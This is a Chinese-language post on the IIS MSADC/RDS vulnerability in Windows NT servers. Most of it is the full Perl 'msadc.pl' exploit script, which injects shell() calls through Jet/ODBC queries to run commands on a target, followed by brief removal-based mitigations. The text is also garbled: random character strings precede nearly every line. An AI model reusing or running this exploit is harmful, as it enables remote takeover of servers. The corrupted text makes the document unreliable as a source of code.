IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
uA$<\fnz bJYda) 涉及程序:
N? 5x9duK Microsoft NT server
v3GwD00 8E8N6 描述:
;L|uIg;.s 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
% ,N< eeHP&1= 7 详细:
?H_LX;r 如果你没有时间读详细内容的话,就删除:
mo1oyQg8 c:\Program Files\Common Files\System\Msadc\msadcs.dll
`Pw*_2 有关的安全问题就没有了。
?-tVSRKQ 6Z`R#d #I 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
}BiiE%a <5G{"U+ \ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
4GR!y) 关于利用ODBC远程漏洞的描述,请参看:
u7xDau(c "+zCS|
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm RJy=pNztm +4\U)Z/\ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
;SwMu@tg http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1yV: qp h?-#9<A 这里不再论述。
MWNPPYww oQv3GpO 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
-!0_:m3 *xE,sj+( /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
i5>+}$1 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
6YuY|JD be e5 JbO ~n
)%x #将下面这段保存为txt文件,然后: "perl -x 文件名"
l%Gw_0.?e '!P"xBVAu #!perl
},5'z{3E #
](eN@Xi&@ # MSADC/RDS 'usage' (aka exploit) script
q!f1~ aG #
^uS/r#l # by rain.forest.puppy
r-kMLw/)
#
y fSM # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^v9|%^ug # beta test and find errors!
ES<{4<Kpx okq[ o90 use Socket; use Getopt::Std;
O+=vEp( getopts("e:vd:h:XR", \%args);
~|wos-nM tn|,O.t print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(-NHxo 55t\B ms{ if (!defined $args{h} && !defined $args{R}) {
\n9A^v`F/ print qq~
;nmM7TZ; Usage: msadc.pl -h <host> { -d <delay> -X -v }
$jd<v1"o -h <host> = host you want to scan (ip or domain)
Q,Z*8FH= -d <seconds> = delay between calls, default 1 second
VGw(6`|! -X = dump Index Server path table, if available
E3a_8@ZB7 -v = verbose
"Lh -e = external dictionary file for step 5
Ufo>|A6;$ 6zIgQ4Bp24 Or a -R will resume a command session
j%<}jw[2 iRG?# " ~; exit;}
;r=b|B9c 4z:#I; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_SZ5P>GIU if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
5)zn :$cz if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
lH|LdlX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%HtuR2#ca $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
$R8w+ Id if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Q\{x)|{$ *jzLFuWIG if (!defined $args{R}){ $ret = &has_msadc;
,]Zp+>{
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
K:yr-#(P/ <Wl(9$ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
BzpP7 ZWV . "cmd /c ";
tJ&5tNl $in=<STDIN>; chomp $in;
DE{h5-g $command="cmd /c " . $in ;
*i$ePVU TrE3S'EU#R if (defined $args{R}) {&load; exit;}
S"snB/ iO!6}yJ*V print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Y9 r3XhVI &try_btcustmr;
% U`xu. 1
[z'G)v print "\nStep 2: Trying to make our own DSN...";
,:v&4x&= &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
U[_8WJ7+ Q^eJ4{Ya: print "\nStep 3: Trying known DSNs...";
ul5|.C &known_dsn;
U; xF#e w,.qCp T$_ print "\nStep 4: Trying known .mdbs...";
/jD-\,:L} &known_mdb;
g?/XZ5$a5 c"gsB!xh if (defined $args{e}){
;~zNqdlH print "\nStep 5: Trying dictionary of DSN names...";
v:ER4 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Ar,
9U9 >`V}U*}*H print "Sorry Charley...maybe next time?\n";
WXUkuO exit;
]j.k?P$U} Mpx/S<Z ##############################################################################
)3?rXsSR 'u[%}S38 sub sendraw { # ripped and modded from whisker
b^V'BC3 sleep($delay); # it's a DoS on the server! At least on mine...
>w'$1tc?+F my ($pstr)=@_;
hol<dB socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
mv
Ov<x;l die("Socket problems\n");
hCc0sRp if(connect(S,pack "SnA4x8",2,80,$target)){
)Id2GV~2B select(S); $|=1;
-$4kBYC l+ print $pstr; my @in=<S>;
o$_93<zc select(STDOUT); close(S);
66ohmP@04Z return @in;
6* rcR] } else { die("Can't connect...\n"); }}
:\}U9QfCw Y_H/3?b% ##############################################################################
i+(GNcg2 sk X]8 sub make_header { # make the HTTP request
ku.A|+Tn my $msadc=<<EOT
WfVMdwz= POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!L\'Mk/=A User-Agent: ACTIVEDATA
Rl@$xP Host: $ip
&IQ%\W#aY Content-Length: $clen
yFeeG3n3 Connection: Keep-Alive
e@
oWwhpE ~$aTM_4 ADCClientVersion:01.06
%!W%#U0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
kojG-M h[U7!aM --!ADM!ROX!YOUR!WORLD!
|cTpw1%I~ Content-Type: application/x-varg
G(OFr2M Content-Length: $reqlen
YOw?'+8 sJ6a7A8) EOT
:('I)C ; $msadc=~s/\n/\r\n/g;
:WX0,-Gn return $msadc;}
w~-X>~ } LZV}U* ##############################################################################
h3 @s2 fK ~I$}# sub make_req { # make the RDS request
A'g,:8Ou my ($switch, $p1, $p2)=@_;
1ih* gJPpj my $req=""; my $t1, $t2, $query, $dsn;
xwLy|& W78o*z[O if ($switch==1){ # this is the btcustmr.mdb query
JD&U}dJ $query="Select * from Customers where City=" . make_shell();
M:|/ijpN $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
4K,''7N3 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
P`2&*2, -A;w$j6* elsif ($switch==2){ # this is general make table query
SsRVd^=;x $query="create table AZZ (B int, C varchar(10))";
!aeNq82 $dsn="$p1";}
,wTg$g-$ 3ZN>9` elsif ($switch==3){ # this is general exploit table query
pzSqbgfrQ $query="select * from AZZ where C=" . make_shell();
B(Y.`L? %E $dsn="$p1";}
"WP% REE! 1PIzV:L\ elsif ($switch==4){ # attempt to hork file info from index server
9l l|JeNi $query="select path from scope()";
~,Mr0 $dsn="Provider=MSIDXS;";}
lPp6
pVr u\w 2S4c elsif ($switch==5){ # bad query
{Y"8~ $query="select";
-pX|U~a[ $dsn="$p1";}
^Fvr
f`A' 6`W|V+6|7 $t1= make_unicode($query);
\CwtX(6. $t2= make_unicode($dsn);
oek #^:pF $req = "\x02\x00\x03\x00";
-fQX4'3R $req.= "\x08\x00" . pack ("S1", length($t1));
<4$YO-:E $req.= "\x00\x00" . $t1 ;
%09*l%,; $req.= "\x08\x00" . pack ("S1", length($t2));
pj@Yqg/ $req.= "\x00\x00" . $t2 ;
Q>[Ce3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
oB}K[3uB:t return $req;}
wO!%
q[ D{W
SKn ##############################################################################
d}VALjXHX! O&= KlnI: sub make_shell { # this makes the shell() statement
\N yr=<c return "'|shell(\"$command\")|'";}
O sB?1;: ~}9Bn)@ ##############################################################################
$>(9~Yh0 "W hwc sub make_unicode { # quick little function to convert to unicode
pd7O`.3 my ($in)=@_; my $out;
]p\u$VY9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
sU0Stg8&b return $out;}
oL)lyUVT g@}6N.]# ##############################################################################
!^]q0x 9D%qXU sub rdo_success { # checks for RDO return success (this is kludge)
hi0XVC95 my (@in) = @_; my $base=content_start(@in);
/!-J53K if($in[$base]=~/multipart\/mixed/){
)FV6, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
yW{mK return 0;}
h&q=I.3O|? K:uQ#W.& ##############################################################################
.@Hmg =#b4c> sub make_dsn { # this makes a DSN for us
{dZ!I my @drives=("c","d","e","f");
yr%yy+(.k print "\nMaking DSN: ";
8V,"Id][ foreach $drive (@drives) {
sD2*x T print "$drive: ";
(y 3~[ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
,cPkx~w0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
wG;}TxrLS . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\ hrBq^I $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
h)7v1,;w' return 0 if $2 eq "404"; # not found/doesn't exist
48H5_9>: if($2 eq "200") {
\)p4okpR foreach $line (@results) {
Tw}@+- return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
{qY3L8b } return 0;}
@Jkui @>+^W& ##############################################################################
v^<<[I2 C ]"C| qR* sub verify_exists {
23)F-.C}j my ($page)=@_;
]!]`~ Z/ my @results=sendraw("GET $page HTTP/1.0\n\n");
!?S5IGLOj return $results[0];}
2;3x,<Cg 4u@yJ?U ##############################################################################
G~JCgi A>4l/ sub try_btcustmr {
7zOhyl? my @drives=("c","d","e","f");
L-`(!j my @dirs=("winnt","winnt35","winnt351","win","windows");
2;dM:FHLhO 9 )ACgz&( foreach $dir (@dirs) {
+dDJes!] print "$dir -> "; # fun status so you can see progress
Bjurmo foreach $drive (@drives) {
YN_X0+b3C print "$drive: "; # ditto
'Na|#tPYI $reqlen=length( make_req(1,$drive,$dir) ) - 28;
JJ^iy*v $reqlenlen=length( "$reqlen" );
M|1eqR%x-? $clen= 206 + $reqlenlen + $reqlen;
58M'r{8_ 5Xp$yX = my @results=sendraw(make_header() . make_req(1,$drive,$dir));
H?rSP0. if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
dVasm<lZ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
rdORNlK&
=~,$V<+c
##############################################################################
&gY;`*< Wpiv1GZ%c8 sub odbc_error {
~+sne7
6 U my (@in)=@_; my $base;
c2tEz&=G my $base = content_start(@in);
.q
AQPL if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
k/$Ja; $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"r5'lQI $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
trID#DT~ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c.|sW2/ return $in[$base+4].$in[$base+5].$in[$base+6];}
J`U$b+q6 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
c@0l-R{q print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$M:4\E5( $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
O JZ!|J8? j<.
<S { ##############################################################################
>WGX|"!" @\x,;!N@ sub verbose {
A5 &>!y my ($in)=@_;
4<=eK7;XR return if !$verbose;
yb@X*PW/z print STDOUT "\n$in\n";}
$ioaunQKP 5Ws:Ei{R ##############################################################################
F9>(W#aC }w|=c>'_} sub save {
O3slabE# my ($p1, $p2, $p3, $p4)=@_;
KDNTnA1c open(OUT, ">rds.save") || print "Problem saving parameters...\n";
jgZX~D print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
g7E`;&f close OUT;}
Jgi{7J C9"f6>i ##############################################################################
#R"9)vHp S4@117z5 sub load {
&;uGIk>s my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
rm7*l<v6 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
7;$L&X @p=<IN>; close(IN);
4nVO.Ud0$X $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
(+]Ig> t $target= inet_aton($ip) || die("inet_aton problems");
ynOc~TN print "Resuming to $ip ...";
(
SC7m/ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
DbPBgD>Q if($p[1]==1) {
3V8j>&
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
qB`0^V $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
0*]<RM my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!'6J;Fb# if (rdo_success(@results)){print "Success!\n";}
b{yH4)O else { print "failed\n"; verbose(odbc_error(@results));}}
N8/Au=De_ elsif ($p[1]==3){
u:{.
Hn` if(run_query("$p[3]")){
do:RPZ! print "Success!\n";} else { print "failed\n"; }}
XH_qA[=c] elsif ($p[1]==4){
`siy!R if(run_query($drvst . "$p[3]")){
ej??j<] print "Success!\n"; } else { print "failed\n"; }}
ni 02N3R exit;}
*(XgUJq+ U`vt/#j
1 ##############################################################################
*SAcH_I2$> ,_4KyLfBF sub create_table {
\C'I l
w my ($in)=@_;
CsQ}P) $reqlen=length( make_req(2,$in,"") ) - 28;
`zvT5=*-# $reqlenlen=length( "$reqlen" );
H]]>sE $clen= 206 + $reqlenlen + $reqlen;
Ov{B-zCA my @results=sendraw(make_header() . make_req(2,$in,""));
8)2u@sx% return 1 if rdo_success(@results);
=,}!Ns{k my $temp= odbc_error(@results); verbose($temp);
:;gwdZ return 1 if $temp=~/Table 'AZZ' already exists/;
)I0g&e^Tzy return 0;}
=}1~~ Snvj9Nr ##############################################################################
='l6&3X :fMM-?s] sub known_dsn {
>+W?!9[p:2 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}e;p8)]Wl my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
uma9yIk "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*Sp O|*' "banner", "banners", "ads", "ADCDemo", "ADCTest");
4h2bk\z- l.t. ,: foreach $dSn (@dsns) {
u>-uRz<)t print ".";
k?_$h<Y next if (!is_access("DSN=$dSn"));
(l,YI"TzT if(create_table("DSN=$dSn")){
^<H#dkECG print "$dSn successful\n";
U S~JLJI if(run_query("DSN=$dSn")){
A_dYN?^?| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_M[[o5{ print "Something's borked. Use verbose next time\n";}}} print "\n";}
m]b.P,~v "nS{
;: ##############################################################################
b9!J}hto, Wug ?CFX+T sub is_access {
_[6+FdS], my ($in)=@_;
yyYbB ]D $reqlen=length( make_req(5,$in,"") ) - 28;
pRfHbPV? $reqlenlen=length( "$reqlen" );
S&g- $clen= 206 + $reqlenlen + $reqlen;
O"w_sw my @results=sendraw(make_header() . make_req(5,$in,""));
vmQ
DcCw my $temp= odbc_error(@results);
7B> cmi verbose($temp); return 1 if ($temp=~/Microsoft Access/);
2LK*Cv[ return 0;}
UmHb-uk ; G;.u>92r| ##############################################################################
!EC\1rmdlN "B{xC}Tw sub run_query {
{hp@j# my ($in)=@_;
5EZr"[8M $reqlen=length( make_req(3,$in,"") ) - 28;
w2_I/s6B $reqlenlen=length( "$reqlen" );
SOY#, Zu $clen= 206 + $reqlenlen + $reqlen;
)e$-B]>7z my @results=sendraw(make_header() . make_req(3,$in,""));
xn#I7]]G return 1 if rdo_success(@results);
!haXO my $temp= odbc_error(@results); verbose($temp);
D}C*8s bC} return 0;}
A&|(% H5rNLfw
' ##############################################################################
3xR#,22:} :1Yd;%>92 sub known_mdb {
BJ;c F"Kp my @drives=("c","d","e","f","g");
Q14;G<l- my @dirs=("winnt","winnt35","winnt351","win","windows");
>@\?\!Go my $dir, $drive, $mdb;
1+[|pXT} my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
dtXJ<1: yru}f;1 # this is sparse, because I don't know of many
PbC>v my @sysmdbs=( "\\catroot\\icatalog.mdb",
|Szr=[ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
9S`b7U=P "\\system32\\certmdb.mdb",
t,Rn "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
G\+MT(&5 C)dYAq3,8 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
&^<T/PiR "\\cfusion\\cfapps\\forums\\forums_.mdb",
>LZ)<-Mk "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
`'t;BXedz/ "\\cfusion\\cfapps\\security\\realm_.mdb",
#8HXR3L5=! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Nv#, s_hG "\\cfusion\\database\\cfexamples.mdb",
6>^k9cJp "\\cfusion\\database\\cfsnippets.mdb",
<JuJ`t "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ed2&9E>9b "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
mqxy(zS] "\\cfusion\\brighttiger\\database\\cleam.mdb",
8?R_O}U "\\cfusion\\database\\smpolicy.mdb",
Rs`Y'_B "\\cfusion\\database\cypress.mdb",
Dy'l]vN$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
tAn6pGp "\\website\\cgi-win\\dbsample.mdb",
"+Yn;9 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
pNsLoNZ3w "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
pIjVJ9+j ); #these are just
jiD8|%}v foreach $drive (@drives) {
u 9TlXn foreach $dir (@dirs){
ZOsn,nF foreach $mdb (@sysmdbs) {
S :|*wB print ".";
c3BL2>c if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
}J
lW\# print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
1Ac1CsK* if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
sM_e_e print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<;"=ah7A } else { print "Something's borked. Use verbose next time\n"; }}}}}
+Ea XS \C.@ @4{ foreach $drive (@drives) {
+5\\wGo< foreach $mdb (@mdbs) {
b
DvbM print ".";
~;s)0M if(create_table($drv . $drive . $dir . $mdb)){
md
s\~l73 print "\n" . $drive . $dir . $mdb . " successful\n";
2geC3v% 0o if(run_query($drv . $drive . $dir . $mdb)){
Hvk?(\x print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
' qVa/GJ } else { print "Something's borked. Use verbose next time\n"; }}}}
MPc=cLv }
% j; cXN H|O}Dsj ##############################################################################
M*uG`Eo& TR20{8" sub hork_idx {
R:p,Hav<q print "\nAttempting to dump Index Server tables...\n";
'kK%sE print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0&~u0B{ $reqlen=length( make_req(4,"","") ) - 28;
\]El%j4 $reqlenlen=length( "$reqlen" );
'+wTrW m~j $clen= 206 + $reqlenlen + $reqlen;
{xH@8T$DX my @results=sendraw2(make_header() . make_req(4,"",""));
7F~+z7(h if (rdo_success(@results)){
*@^0xz{\z my $max=@results; my $c; my %d;
bS<p dOX_ for($c=19; $c<$max; $c++){
]42l:at $results[$c]=~s/\x00//g;
P!EX;+7+x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$Plk4 o*g $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
qiN'Tuw9 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
a/fYD2uNo $d{"$1$2"}="";}
}fZBP]<I( foreach $c (keys %d){ print "$c\n"; }
QeoDq
} else {print "Index server doesn't seem to be installed.\n"; }}
rJ>8|K[kt o5uwa{v ##############################################################################
H_^c K %|>i2 sub dsn_dict {
t,_[nu(~8% open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%b9M\ while(<IN>){
J;dFmZOk $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Dl{Pd`D next if (!is_access("DSN=$dSn"));
[G*mQ@G9 if(create_table("DSN=$dSn")){
yk/XfwQ5 print "$dSn successful\n";
'>BHwc if(run_query("DSN=$dSn")){
(n\
cs$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ZtDpCl_ print "Something's borked. Use verbose next time\n";}}}
! ZEKvW print "\n"; close(IN);}
6s;x@g] p20Nk$. ##############################################################################
;f
Gi5=- XJ9>a-{ sub sendraw2 { # ripped and modded from whisker
~m7+^c@, sleep($delay); # it's a DoS on the server! At least on mine...
Ai;Pht9qi my ($pstr)=@_;
`0D+x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.kVga+la? die("Socket problems\n");
aO1cd_d6x_ if(connect(S,pack "SnA4x8",2,80,$target)){
eR
CGr?e4 print "Connected. Getting data";
!k:j+h/ open(OUT,">raw.out"); my @in;
|@RO&F select(S); $|=1; print $pstr;
^^m%[$nw&r while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
>:=TS"}yS} close(OUT); select(STDOUT); close(S); return @in;
hjE9[{K } else { die("Can't connect...\n"); }}
0^=S:~G LPC7Bdjz ##############################################################################
<qBPN{'a" MEu-lM7v sub content_start { # this will take in the server headers
zv41Yv!x} my (@in)=@_; my $c;
@azS)4L for ($c=1;$c<500;$c++) {
IX}l)t[:( if($in[$c] =~/^\x0d\x0a/){
Vr'Z5F*@ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
wP%;9y2B else { return $c+1; }}}
.#X0P= return -1;} # it should never get here actually
*;Vq0a! *M{1RMc ##############################################################################
~'ovJ46tx =c|Bu^(Ctw sub funky {
*)`:Nm~y my (@in)=@_; my $error=odbc_error(@in);
$hL0/T-m if($error=~/ADO could not find the specified provider/){
, Le_PJY) print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Th8xh=F[ exit;}
Y, P-@( if($error=~/A Handler is required/){
1xw},y6T2 print "\nServer has custom handler filters (they most likely are patched)\n";
,GK>|gNsb exit;}
|A2.W8`o if($error=~/specified Handler has denied Access/){
6c2fqAF>i print "\nServer has custom handler filters (they most likely are patched)\n";
dgO2fI exit;}}
;,viE~n {Z|C ##############################################################################
U}UIbJD*= As"'KR sub has_msadc {
Z8m/8M my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
h.67]U7m my $base=content_start(@results);
(vY10W{ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
LE7o[<> return 0;}
C. Sb4i* 2W}RXqV< ########################
e@6}?q; 7|{QAv o:?IT/> 解决方案:
`aCcTs7~]p 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&oT]ycz% 2、移除web 目录: /msadc